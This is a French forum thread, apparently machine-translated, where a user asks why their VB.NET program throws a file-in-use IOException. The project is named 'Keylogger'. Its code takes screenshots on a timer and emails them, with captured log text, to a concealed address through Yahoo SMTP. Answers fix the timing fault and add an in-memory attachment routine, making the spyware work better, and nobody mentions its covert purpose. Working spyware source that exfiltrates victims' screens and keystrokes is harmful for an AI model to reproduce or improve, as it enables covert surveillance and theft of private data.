2013-08-08 2 views
0

Quand je lance mon programme, il rencontre avec cette erreurIOException était non gérée vb.net

The process cannot access the file 
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png' 
because it is being used by another process. 

Cette erreur est pour Dim joint comme Nouvelle pièce jointe (Application.StartupPath & "\ pic \" & « \ img "& i &" .png ")

Quelqu'un peut-il m'aider? Merci d'avance!

Voici mon code complet:

private j as integer = 1 

Public Function TakeImage() 
    Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height) 
End Function 
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer) 
    Dim Img As New Bitmap(Width, Height) 
    Dim g As Graphics = Graphics.FromImage(Img) 
    g.CopyFromScreen(X, Y, 0, 0, Img.Size) 
    g.Dispose() 

    Return Img 
End Function 

Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick 
    Dim i As Integer 


    Dim smtpServer As New SmtpClient 
    smtpServer.EnableSsl = True 
    Dim mail As New MailMessage 
    smtpServer.Credentials = New Net.NetworkCredential("********", "********") 
    smtpServer.Port = 587 
    smtpServer.Host = "smtp.mail.yahoo.com" 
    mail = New MailMessage 
    mail.From = New MailAddress("********") 
    mail.To.Add("*********") 
    mail.Subject = ("Parham") 
    mail.Body = txtlogs.Text 

    For i = 1 To 3 

     Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open) 
      Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png") 
      mail.Attachments.Add(attach) 
      smtpServer.Send(mail) 
      If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then 
       File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png") 
      End If 
     End Using 
    Next 

End Sub 

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 
    If Not Directory.Exists(Application.StartupPath & "\pic\") Then 
     Directory.CreateDirectory(Application.StartupPath & "\pic\") 
    End If 

End Sub 

Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick 
    Dim picture As Image = TakeImage() 

    Using picture 
     picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png) 
    End Using 

    j += 1 
    If j > 3 Then 
     j = New Integer 
     j = 1 
    End If 
End Sub 
+0

Comment charger l'image? S'il vous plaît montrer le code de TakeImage() – Steve

+0

Oh Ok désolé j'ai oublié à ce sujet, je vais modifier mon code! – EmPlusPlus

+0

Je ne sais pas mais je vais essayer avec 'Using picture = TakeImage()', également supprimer toute cette concaténation de chemin et utiliser Path.Combine. Enfin, il y a un problème avec votre variable 'j'. Vous envoyez img + i mais supprimez img + j – Steve

Répondre

1

Vous devez d'abord définir Option Strict ON, puis fixer les avertissements et les erreurs qui seront affichées et modifiez votre message au code réel.

La cause de l'exception est un problème de synchronisation entre l'objet Temporisateur tmrEmail et l'objet Temporisateur tmrScrShot.

EDIT:

Cette méthode prend un objet image qui est ensuite enregistrée dans un flux de mémoire qui est utilisé pour créer un System.Net.Mail.Attachment

Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment 
    Dim attachment As System.Net.Mail.Attachment 
    Using ms As New System.IO.MemoryStream() 

     img.Save(ms, System.Drawing.Imaging.ImageFormat.Png) 

     attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png") 

    End Using 

    Return attachment 
End Function 
+0

J'ai déjà corrigé le problème de timing car je pense que tmrEmail.interval = 60000 et tmrScrShot.interval = 19000 ça va? – EmPlusPlus

+0

Vous devez également prendre soin du temps nécessaire pour sauvegarder l'image. Donc, si la sauvegarde prend 1 seconde et quelques millisecondes, la dernière sauvegarde (la troisième image) peut avoir lieu au moment où vous voulez ajouter l'image en pièce jointe. – Heslacher

+0

donc est-il possible que je puisse utiliser au lieu de supprimer le fichier? car pour réécrire l'erreur générique gdi + se produira! – EmPlusPlus

Questions connexes